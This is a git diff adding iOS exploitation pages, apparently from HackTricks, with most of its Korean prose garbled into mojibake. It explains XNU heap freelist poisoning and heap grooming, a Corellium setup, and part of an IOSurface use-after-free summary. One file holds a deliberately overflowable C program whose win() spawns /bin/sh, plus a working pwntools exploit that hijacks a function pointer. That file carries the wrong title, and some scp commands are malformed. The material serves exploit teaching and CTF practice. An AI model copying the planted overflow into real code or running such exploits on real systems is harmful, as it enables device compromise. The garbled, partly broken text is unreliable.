์ž์œ  ์ฒญํฌ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” HEAD ํฌ์ธํ„ฐ๋ฅผ ์œ ์ง€ํ–ˆ์Šต๋‹ˆ๋‹ค. +- ํ• ๋‹น์€ ํ•ญ์ƒ ํ˜„์žฌ HEAD๋ฅผ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค: + +1. Pop HEAD (๊ทธ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ˜ธ์ถœ์ž์—๊ฒŒ ๋ฐ˜ํ™˜). + +2. HEAD = HEAD->next (ํ•ด์ œ๋œ ์ฒญํฌ์˜ ํ—ค๋”์— ์ €์žฅ๋œ ๊ฐ’์œผ๋กœ ์—…๋ฐ์ดํŠธ). + +- ํ•ด์ œ๋Š” ์ฒญํฌ๋ฅผ ๋‹ค์‹œ ํ‘ธ์‹œํ–ˆ์Šต๋‹ˆ๋‹ค: + +- `freed_chunk->next = HEAD` + +- `HEAD = freed_chunk` + +๋”ฐ๋ผ์„œ freelist๋Š” ํ•ด์ œ๋œ ๋ฉ”๋ชจ๋ฆฌ ์ž์ฒด ์•ˆ์— ๊ตฌ์„ฑ๋œ ๋‹จ์ˆœํ•œ ์—ฐ๊ฒฐ ๋ฆฌ์ŠคํŠธ์˜€์Šต๋‹ˆ๋‹ค. + +Normal state: +``` +Zone page (64-byte chunks for example): +[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ] + +Freelist view: +HEAD โ”€โ”€โ–บ [ F ] โ”€โ”€โ–บ [ F ] โ”€โ”€โ–บ [ F ] โ”€โ”€โ–บ [ F ] โ”€โ”€โ–บ NULL +(next ptrs stored at start of freed chunks) +``` +### freelist ์•…์šฉ + +Because the first 8 bytes of a free chunk = freelist pointer, an attacker could corrupt it: + +1. **Heap overflow** into an adjacent freed chunk โ†’ ๊ทธ โ€œnextโ€ pointer๋ฅผ ๋ฎ์–ด์“ด๋‹ค. + +2. **Use-after-free** write into a freed object โ†’ ๊ทธ โ€œnextโ€ pointer๋ฅผ ๋ฎ์–ด์“ด๋‹ค. + +Then, on the next allocation of that size: + +- ํ• ๋‹น์ž๋Š” ์†์ƒ๋œ ์ฒญํฌ๋ฅผ ํŒํ•œ๋‹ค. +- ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ๊ณตํ•œ โ€œnextโ€ pointer๋ฅผ ๋”ฐ๋ผ๊ฐ„๋‹ค. +- ์ž„์˜ ๋ฉ”๋ชจ๋ฆฌ์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ๋ฅผ ๋ฐ˜ํ™˜ํ•˜์—ฌ fake object primitives ๋˜๋Š” targeted overwrite๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•œ๋‹ค. + +Visual example of freelist poisoning: +``` +Before corruption: +HEAD โ”€โ”€โ–บ [ F1 ] โ”€โ”€โ–บ [ F2 ] โ”€โ”€โ–บ [ F3 ] โ”€โ”€โ–บ NULL + +After attacker overwrite of F1->next: +HEAD โ”€โ”€โ–บ [ F1 ] +(next) โ”€โ”€โ–บ 0xDEAD_BEEF_CAFE_BABE (attacker-chosen) + +Next alloc of this zone โ†’ kernel hands out memory at attacker-controlled address. +``` +์ด freelist ์„ค๊ณ„๋Š” ํ•˜๋“œ๋‹ ์ด์ „์— ์ต์Šคํ”Œ๋กœ์ž‡์„ ๋งค์šฐ ํšจ๊ณผ์ ์œผ๋กœ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค: heap sprays๋กœ ์ธํ•œ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ์ธ์ ‘ ๊ฐ์ฒด, raw pointer freelist ๋งํฌ, ๊ทธ๋ฆฌ๊ณ  ํƒ€์ž… ๋ถ„๋ฆฌ๊ฐ€ ์—†์–ด ๊ณต๊ฒฉ์ž๊ฐ€ UAF/overflow ๋ฒ„๊ทธ๋ฅผ ์ž„์˜์˜ ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ ์ œ์–ด๋กœ ์Šน๊ฒฉ์‹œํ‚ฌ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. + +### Heap Grooming / Feng Shui +The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\ +That way, when memory corruption happens, the attacker can reliably overwrite the victim object with controlled data. + +**Steps:** + +1. Spray allocations (fill the holes) +- Over time, the kernel heap gets fragmented: some zones have holes where old +objects were freed. +- The attacker first makes lots of dummy allocations to fill these gaps, so +the heap becomes โ€œpackedโ€ and predictable. + +2. Force new pages +- Once the holes are filled, the next allocations must come from new pages +added to the zone. +- Fresh pages mean objects will be clustered together, not scattered across +old fragmented memory. +- This gives the attacker much better control of neighbors. + +3. Place attacker objects +- The attacker now sprays again, creating lots of attacker-controlled objects +in those new pages. +- These objects are predictable in size and placement (since they all belong +to the same zone). + +4. Free a controlled object (make a gap) +- The attacker deliberately frees one of their own objects. +- This creates a โ€œholeโ€ in the heap, which the allocator will later reuse for +the next allocation of that size. + +5. Victim object lands in the hole +- The attacker triggers the kernel to allocate the victim object (the one +they want to corrupt). +- Since the hole is the first available slot in the freelist, the victim is +placed exactly where the attacker freed their object. + +6. Overflow / UAF into victim +- Now the attacker has attacker-controlled objects around the victim. +- By overflowing from one of their own objects (or reusing a freed one), they +can reliably overwrite the victimโ€™s memory fields with chosen values. + +**Why it works**: + +- Zone allocator predictability: allocations of the same size always come from +the same zone. +- Freelist behavior: new allocations reuse the most recently freed chunk first. +- Heap sprays: attacker fills memory with predictable content and controls layout. +- End result: attacker controls where the victim object lands and what data sits +next to it. + +--- + +## Modern Kernel Heap (iOS 15+/A12+ SoCs) + +Apple hardened the allocator and made **heap grooming much harder**: + +### 1. From Classic kalloc to kalloc_type +- **Before**: a single `kalloc.` zone existed for each size class (16, 32, 64, โ€ฆ 1280, etc.). Any object of that size was placed there โ†’ attacker objects could sit next to privileged kernel objects. +- **Now**: +- Kernel objects are allocated from **typed zones** (`kalloc_type`). +- Each type of object (e.g., `ipc_port_t`, `task_t`, `OSString`, `OSData`) has its own dedicated zone, even if theyโ€™re the same size. +- The mapping between object type โ†” zone is generated from the **kalloc_type system** at compile time. + +An attacker can no longer guarantee that controlled data (`OSData`) ends up adjacent to sensitive kernel objects (`task_t`) of the same size. + +### 2. Slabs and Per-CPU Caches +- The heap is divided into **slabs** (pages of memory carved into fixed-size chunks for that zone). +- Each zone has a **per-CPU cache** to reduce contention. +- Allocation path: +1. Try per-CPU cache. +2. If empty, pull from the global freelist. +3. If freelist is empty, allocate a new slab (one or more pages). +- **Benefit**: This decentralization makes heap sprays less deterministic, since allocations may be satisfied from different CPUsโ€™ caches. + +### 3. Randomization inside zones +- Within a zone, freed elements are not handed back in simple FIFO/LIFO order. +- Modern XNU uses **encoded freelist pointers** (safe-linking like Linux, introduced ~iOS 14). +- Each freelist pointer is **XOR-encoded** with a per-zone secret cookie. +- This prevents attackers from forging a fake freelist pointer if they gain a write primitive. +- Some allocations are **randomized in their placement within a slab**, so spraying doesnโ€™t guarantee adjacency. + +### 4. Guarded Allocations +- Certain critical kernel objects (e.g., credentials, task structures) are allocated in **guarded zones**. +- These zones insert **guard pages** (unmapped memory) between slabs or use **redzones** around objects. +- Any overflow into the guard page triggers a fault โ†’ immediate panic instead of silent corruption. + +### 5. Page Protection Layer (PPL) and SPTM +- Even if you control a freed object, you canโ€™t modify all of kernel memory: +- **PPL (Page Protection Layer)** enforces that certain regions (e.g., code signing data, entitlements) are **read-only** even to the kernel itself. +- On **A15/M2+ devices**, this role is replaced/enhanced by **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**. +- These hardware-enforced layers mean attackers canโ€™t escalate from a single heap corruption to arbitrary patching of critical security structures. + +### 6. Large Allocations +- Not all allocations go through `kalloc_type`. +- Very large requests (above ~16KB) bypass typed zones and are served directly from **kernel VM (kmem)** via page allocations. +- These are less predictable, but also less exploitable, since they donโ€™t share slabs with other objects. + +### 7. Allocation Patterns Attackers Target +Even with these protections, attackers still look for: +- **Reference count objects**: if you can tamper with retain/release counters, you may cause use-after-free. +- **Objects with function pointers (vtables)**: corrupting one still yields control flow. +- **Shared memory objects (IOSurface, Mach ports)**: these are still attack targets because they bridge user โ†” kernel. + +But โ€” unlike before โ€” you canโ€™t just spray `OSData` and expect it to neighbor a `task_t`. You need **type-specific bugs** or **info leaks** to succeed. + +### Example: Allocation Flow in Modern Heap + +Suppose userspace calls into IOKit to allocate an `OSData` object: + +1. **Type lookup** โ†’ `OSData` maps to `kalloc_type_osdata` zone (size 64 bytes). +2. Check per-CPU cache for free elements. +- If found โ†’ return one. +- If empty โ†’ go to global freelist. +- If freelist empty โ†’ allocate a new slab (page of 4KB โ†’ 64 chunks of 64 bytes). +3. Return chunk to caller. + +**Freelist pointer protection**: +- Each freed chunk stores the address of the next free chunk, but encoded with a secret key. +- Overwriting that field with attacker data wonโ€™t work unless you know the key. + + +## Comparison Table + +| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** | +|---------------------------------|------------------------------------------------------------|--------------------------------------------------| +| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) | +| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) | +| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) | +| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard โ€” typed zones separate attacker objects | +| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages | +| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks | + +## (Old) Physical Use-After-Free via IOSurface + +{{#ref}} +ios-physical-uaf-iosurface.md +{{#endref}} + +--- + +## Ghidra Install BinDiff + +Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it. + +Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and install it even if there is a version mismatch. + +### Using BinDiff with Kernel versions + +1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files. +2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on: + +{{#ref}} +../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +{{#endref}} + +3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches. +4. Open each kernelcache so they are automatically analyzed by Ghidra. +5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them. +6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache. + +--- + +## Finding the right XNU version + +If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel). + +For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`. + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md new file mode 100644 index 000000000..311ea943b --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md @@ -0,0 +1,78 @@ +# iOS์—์„œ Corellium์— ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐฉ๋ฒ• + +{{#include ../../banners/hacktricks-training.md}} + +## **์‚ฌ์ „ ์š”๊ตฌ์‚ฌํ•ญ** +- Corellium iOS VM (ํƒˆ์˜ฅ ์—ฌ๋ถ€ ๋ฌด๊ด€). ์ด ๊ฐ€์ด๋“œ์—์„œ๋Š” Corellium์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค. +- ๋กœ์ปฌ ๋„๊ตฌ: **ssh/scp**. +- (์„ ํƒ) Corellium ํ”„๋กœ์ ํŠธ์— ์ถ”๊ฐ€๋œ **SSH keys** (๋ฌด๋น„๋ฐ€๋ฒˆํ˜ธ ๋กœ๊ทธ์ธ์šฉ). + +## **localhost์—์„œ iPhone VM์— ์—ฐ๊ฒฐํ•˜๊ธฐ** + +### A) **Quick Connect (VPN ์—†์Œ)** +0) **`/admin/projects`**์— ssh ํ‚ค๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š” (๊ถŒ์žฅ). +1) ๋””๋ฐ”์ด์Šค ํŽ˜์ด์ง€ โ†’ **Connect** +2) Corellium์— ํ‘œ์‹œ๋œ **Quick Connect SSH command**๋ฅผ ๋ณต์‚ฌํ•˜์—ฌ ํ„ฐ๋ฏธ๋„์— ๋ถ™์—ฌ๋„ฃ์œผ์„ธ์š”. +3) ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ž…๋ ฅํ•˜๊ฑฐ๋‚˜ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”(๊ถŒ์žฅ). + +### B) **VPN โ†’ direct SSH** +0) **`/admin/projects`**์— ssh ํ‚ค๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š” (๊ถŒ์žฅ). +1) Device page โ†’ **CONNECT** โ†’ **VPN** โ†’ `.ovpn` ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•œ ๋‹ค์Œ TAP ๋ชจ๋“œ๋ฅผ ์ง€์›ํ•˜๋Š” VPN ํด๋ผ์ด์–ธํŠธ๋กœ ์—ฐ๊ฒฐํ•˜์„ธ์š”. (๋ฌธ์ œ๊ฐ€ ์žˆ์œผ๋ฉด [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.) +2) VM์˜ **10.11.x.x** ์ฃผ์†Œ๋กœ SSH ์ ‘์†: +```bash +ssh root@10.11.1.1 +``` +## **๋„ค์ดํ‹ฐ๋ธŒ ๋ฐ”์ด๋„ˆ๋ฆฌ ์—…๋กœ๋“œ ๋ฐ ์‹คํ–‰** + +### 2.1 **์—…๋กœ๋“œ** +- Quick Connect์ด host/port๋ฅผ ์ œ๊ณตํ–ˆ๋‹ค๋ฉด: +```bash +scp -J ./mytool root@10.11.1.1:/var/root/mytool +``` +- VPN (10.11.x.x)๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ: +```bash +scp ./mytool -J root@10.11.1.1:/var/root/mytool +``` +## **iOS ์•ฑ(.ipa) ์—…๋กœ๋“œ ๋ฐ ์„ค์น˜** + +### ๋ฐฉ๋ฒ• A โ€” **Web UI (๊ฐ€์žฅ ๋น ๋ฆ„)** +1) Device ํŽ˜์ด์ง€ โ†’ **Apps** ํƒญ โ†’ **Install App** โ†’ ์ž์‹ ์˜ `.ipa` ์„ ํƒ. +2) ๋™์ผํ•œ ํƒญ์—์„œ **launch/kill/uninstall**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +### ๋ฐฉ๋ฒ• B โ€” **์Šคํฌ๋ฆฝํŠธ๋กœ Corellium Agent ์‚ฌ์šฉ** +1) API Agent๋ฅผ ์‚ฌ์šฉํ•ด **upload**ํ•œ ๋‹ค์Œ **install**: +```js +// Node.js (pseudo) using Corellium Agent +await agent.upload("./app.ipa", "/var/tmp/app.ipa"); +await agent.install("/var/tmp/app.ipa", (progress, status) => { +console.log(progress, status); +}); +``` +### Path C โ€” **Non-jailbroken (proper signing / Sideloadly)** +- ํ”„๋กœ๋น„์ €๋‹ ํ”„๋กœํŒŒ์ผ์ด ์—†๋‹ค๋ฉด, **Sideloadly**๋กœ Apple ID๋กœ ์žฌ์„œ๋ช…ํ•˜๊ฑฐ๋‚˜ Xcode์— ๋กœ๊ทธ์ธํ•˜์„ธ์š”. +- ๋˜ํ•œ **USBFlux**๋ฅผ ์‚ฌ์šฉํ•ด VM์„ Xcode์— ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์„น์…˜ ยง5 ์ฐธ์กฐ). + + +- SSH ์—†์ด ๋น ๋ฅธ ๋กœ๊ทธ/๋ช…๋ น ํ™•์ธ์„ ์œ„ํ•ด UI์˜ ๊ธฐ๊ธฐ **Console**์„ ์‚ฌ์šฉํ•˜์„ธ์š”. + +## **Extras** + +- **Port-forwarding** (๋‹ค๋ฅธ ๋„๊ตฌ๋“ค์ด VM์„ ๋กœ์ปฌ์ฒ˜๋Ÿผ ์ธ์‹ํ•˜๋„๋ก): +```bash +# Forward local 2222 -> device 22 +ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1 +# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/ +``` +- **LLDB remote debugging**: ์žฅ์น˜ ํŽ˜์ด์ง€ ํ•˜๋‹จ์— ํ‘œ์‹œ๋œ **LLDB/GDB stub** ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค (CONNECT โ†’ LLDB). + +- **USBFlux (macOS/Linux)**: VM์„ **Xcode/Sideloadly**์— ์œ ์„  ์žฅ์น˜์ฒ˜๋Ÿผ ์—ฐ๊ฒฐํ•˜์„ธ์š”. + + +## **์ผ๋ฐ˜์ ์ธ ํ•จ์ •** +- **Proper signing**์€ **non-jailbroken** ์žฅ์น˜์—์„œ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค; unsigned IPAs๋Š” ์‹คํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +- **Quick Connect vs VPN**: Quick Connect๊ฐ€ ๊ฐ€์žฅ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค; ์žฅ์น˜๋ฅผ ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ์—์„œ ์‚ฌ์šฉํ•ด์•ผ ํ•  ๋•Œ(์˜ˆ: ๋กœ์ปฌ ํ”„๋ก์‹œ/๋„๊ตฌ)๋Š” **VPN**์„ ์‚ฌ์šฉํ•˜์„ธ์š”. +- Corellium ์žฅ์น˜์—๋Š” **App Store**๊ฐ€ ์—†์œผ๋ฏ€๋กœ, (re)signed IPAs๋ฅผ ์ง์ ‘ ์ค€๋น„ํ•˜์„ธ์š”ใ€‚ + + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md new file mode 100644 index 000000000..199f1b022 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md @@ -0,0 +1,205 @@ +# iOS์—์„œ Corellium์— ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐฉ๋ฒ• + +{{#include ../../banners/hacktricks-training.md}} + +## Vuln Code +```c +#define _GNU_SOURCE +#include +#include +#include +#include + +__attribute__((noinline)) +static void safe_cb(void) { +puts("[*] safe_cb() called โ€” nothing interesting here."); +} + +__attribute__((noinline)) +static void win(void) { +puts("[+] win() reached โ€” spawning shell..."); +fflush(stdout); +system("/bin/sh"); +exit(0); +} + +typedef void (*cb_t)(void); + +typedef struct { +cb_t cb; // <--- Your target: overwrite this with win() +char tag[16]; // Cosmetic (helps make the chunk non-tiny) +} hook_t; + +static void fatal(const char *msg) { +perror(msg); +exit(1); +} + +int main(void) { +// Make I/O deterministic +setvbuf(stdout, NULL, _IONBF, 0); + +// Print address leak so exploit doesn't guess ASLR +printf("[*] LEAK win() @ %p\n", (void*)&win); + +// 1) Allocate the overflow buffer +size_t buf_sz = 128; +char *buf = (char*)malloc(buf_sz); +if (!buf) fatal("malloc buf"); +memset(buf, 'A', buf_sz); + +// 2) Allocate the hook object (likely adjacent in same magazine/size class) +hook_t *h = (hook_t*)malloc(sizeof(hook_t)); +if (!h) fatal("malloc hook"); +h->cb = safe_cb; +memcpy(h->tag, "HOOK-OBJ", 8); + +// A tiny bit of noise to look realistic (and to consume small leftover holes) +void *spacers[16]; +for (int i = 0; i < 16; i++) { +spacers[i] = malloc(64); +if (spacers[i]) memset(spacers[i], 0xCC, 64); +} + +puts("[*] You control a write into the 128B buffer (no bounds check)."); +puts("[*] Enter payload length (decimal), then the raw payload bytes."); + +// 3) Read attacker-chosen length and then read that many bytes โ†’ overflow +char line[64]; +if (!fgets(line, sizeof(line), stdin)) fatal("fgets"); +unsigned long n = strtoul(line, NULL, 10); + +// BUG: no clamp to 128 +ssize_t got = read(STDIN_FILENO, buf, n); +if (got < 0) fatal("read"); +printf("[*] Wrote %zd bytes into 128B buffer.\n", got); + +// 4) Trigger: call the hook's callback +puts("[*] Calling h->cb() ..."); +h->cb(); + +puts("[*] Done."); +return 0; +} +``` +๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ปดํŒŒ์ผํ•˜์„ธ์š”: +```bash +clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c +``` +## ์ต์Šคํ”Œ๋กœ์ž‡ + +> [!WARNING] +> ์ด ์ต์Šคํ”Œ๋กœ์ž‡์€ NanoZone์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ธฐ ์œ„ํ•ด ํ™˜๊ฒฝ ๋ณ€์ˆ˜ `MallocNanoZone=0`์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ์ž‘์€ ํฌ๊ธฐ๋กœ `malloc`์„ ํ˜ธ์ถœํ•  ๋•Œ ์ธ์ ‘ํ•œ ํ• ๋‹น์„ ์–ป๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด ์„ค์ •์ด ์—†์œผ๋ฉด ์„œ๋กœ ๋‹ค๋ฅธ mallocs๊ฐ€ ์„œ๋กœ ๋‹ค๋ฅธ zones์— ํ• ๋‹น๋˜์–ด ์ธ์ ‘ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ overflow๊ฐ€ ์˜ˆ์ƒ๋Œ€๋กœ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +```python +#!/usr/bin/env python3 +# Heap overflow exploit for macOS ARM64 CTF challenge +# +# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting +# a function pointer in an adjacent heap chunk. +# +# Key insights: +# 1. macOS uses different heap zones for different allocation sizes +# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout +# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed) +# +from pwn import * +import re +import sys +import struct +import platform + +# Detect architecture and set context accordingly +if platform.machine() == 'arm64' or platform.machine() == 'aarch64': +context.clear(arch='aarch64') +else: +context.clear(arch='amd64') + +BIN = './heap_groom' + +def parse_leak(line): +m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line) +if not m: +log.failure("Couldn't parse leak") +sys.exit(1) +return int(m.group(1), 16) + +def build_payload(win_addr, extra_pad=0): +# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer] +padding = b'A' * 128 +if extra_pad: +padding += b'B' * extra_pad +# Add the win address to overwrite the function pointer +payload = padding + p64(win_addr) +return payload + +def main(): +# On macOS, we need to disable the Nano zone for adjacent allocations +import os +env = os.environ.copy() +env['MallocNanoZone'] = '0' + +# The correct padding with MallocNanoZone=0 is 432 bytes +# This makes the total distance 560 bytes (128 buffer + 432 padding) +# Try the known working value first, then alternatives in case of heap variation +candidates = [ +432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0) +424, # Try slightly less in case of alignment differences +440, # Try slightly more +416, # 16 bytes less +448, # 16 bytes more +0, # Direct adjacency (unlikely but worth trying) +] + +log.info("Starting heap overflow exploit for macOS...") + +for extra in candidates: +log.info(f"Trying extra_pad={extra} with MallocNanoZone=0") +p = process(BIN, env=env) + +# Read leak line +leak_line = p.recvline() +win_addr = parse_leak(leak_line) +log.success(f"win() @ {hex(win_addr)}") + +# Skip prompt lines +p.recvuntil(b"Enter payload length") +p.recvline() + +# Build and send payload +payload = build_payload(win_addr, extra_pad=extra) +total_len = len(payload) + +log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)") + +# Send length and payload +p.sendline(str(total_len).encode()) +p.send(payload) + +# Check if we overwrote the function pointer successfully +try: +output = p.recvuntil(b"Calling h->cb()", timeout=0.5) +p.recvline(timeout=0.5) # Skip the "..." part + +# Check if we hit win() +response = p.recvline(timeout=0.5) +if b"win() reached" in response: +log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}") +log.success("Shell spawned, entering interactive mode...") +p.interactive() +return +elif b"safe_cb() called" in response: +log.info(f"Failed with extra_pad={extra}, safe_cb was called") +else: +log.info(f"Failed with extra_pad={extra}, unexpected response") +except: +log.info(f"Failed with extra_pad={extra}, likely crashed") + +p.close() + +log.failure("All padding attempts failed. The heap layout might be different.") +log.info("Try running the exploit multiple times as heap layout can be probabilistic.") + +if __name__ == '__main__': +main() +``` +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md new file mode 100644 index 000000000..34a132ee4 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -0,0 +1,215 @@ +# iOS Physical Use-After-Free via IOSurface + +{{#include ../../banners/hacktricks-training.md}} + + +## Physical use-after-free + +์ด ๋‚ด์šฉ์€ [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) ํฌ์ŠคํŠธ์˜ ์š”์•ฝ์ž…๋‹ˆ๋‹ค. ์ถ”๊ฐ€์ ์ธ ์ต์Šคํ”Œ๋กœ์ž‡ ์ •๋ณด๋Š” [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +### Memory management in XNU + +iOS์˜ ์‚ฌ์šฉ์ž ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•œ virtual memory address space๋Š” **0x0 ๋ถ€ํ„ฐ 0x8000000000**๊นŒ์ง€์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ์ฃผ์†Œ๋“ค์ด ๋ฌผ๋ฆฌ ๋ฉ”๋ชจ๋ฆฌ์— ์ง์ ‘ ๋งคํ•‘๋˜๋Š” ๊ฒƒ์€ ์•„๋‹™๋‹ˆ๋‹ค. ๋Œ€์‹  kernel์€ page tables๋ฅผ ์‚ฌ์šฉํ•ด virtual addresses๋ฅผ ์‹ค์ œ physical addresses๋กœ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค. + +#### Levels of Page Tables in iOS + +Page tables๋Š” ๊ณ„์ธต์ ์œผ๋กœ ์„ธ ๋‹จ๊ณ„๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค: + +1. **L1 Page Table (Level 1)**: +* ๊ฐ ์—”ํŠธ๋ฆฌ๋Š” ๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ์˜ ํฐ ๋ฒ”์œ„๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. +* **0x1000000000 bytes**(256 GB)๋ฅผ ์ปค๋ฒ„ํ•ฉ๋‹ˆ๋‹ค. +2. **L2 Page Table (Level 2)**: +* ์—ฌ๊ธฐ์˜ ๊ฐ ์—”ํŠธ๋ฆฌ๋Š” ๋” ์ž‘์€ ๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์ธ **0x2000000 bytes**(32 MB)๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. +* L1 ์—”ํŠธ๋ฆฌ๋Š” ์ „์ฒด ์˜์—ญ์„ ์ง์ ‘ ๋งคํ•‘ํ•˜์ง€ ๋ชปํ•  ๊ฒฝ์šฐ L2 ํ…Œ์ด๋ธ”์„ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +3. **L3 Page Table (Level 3)**: +* ๊ฐ€์žฅ ์„ธ๋ฐ€ํ•œ ๋ ˆ๋ฒจ๋กœ, ๊ฐ ์—”ํŠธ๋ฆฌ๋Š” ํ•˜๋‚˜์˜ **4 KB** ๋ฉ”๋ชจ๋ฆฌ ํŽ˜์ด์ง€๋ฅผ ๋งคํ•‘ํ•ฉ๋‹ˆ๋‹ค. +* L2 ์—”ํŠธ๋ฆฌ๋Š” ๋” ์„ธ๋ฐ€ํ•œ ์ œ์–ด๊ฐ€ ํ•„์š”ํ•˜๋ฉด L3 ํ…Œ์ด๋ธ”์„ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +#### Mapping Virtual to Physical Memory + +* **Direct Mapping (Block Mapping)**: +* ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ”์˜ ์ผ๋ถ€ ์—”ํŠธ๋ฆฌ๋Š” ๊ฐ€์ƒ ์ฃผ์†Œ ๋ฒ”์œ„๋ฅผ ๋ฌผ๋ฆฌ ์ฃผ์†Œ์˜ ์—ฐ์† ๋ฒ”์œ„์— ์ง์ ‘ ๋งคํ•‘ํ•ฉ๋‹ˆ๋‹ค(์ง€๋ฆ„๊ธธ๊ณผ ์œ ์‚ฌ). +* **Pointer to Child Page Table**: +* ๋” ์„ธ๋ฐ€ํ•œ ์ 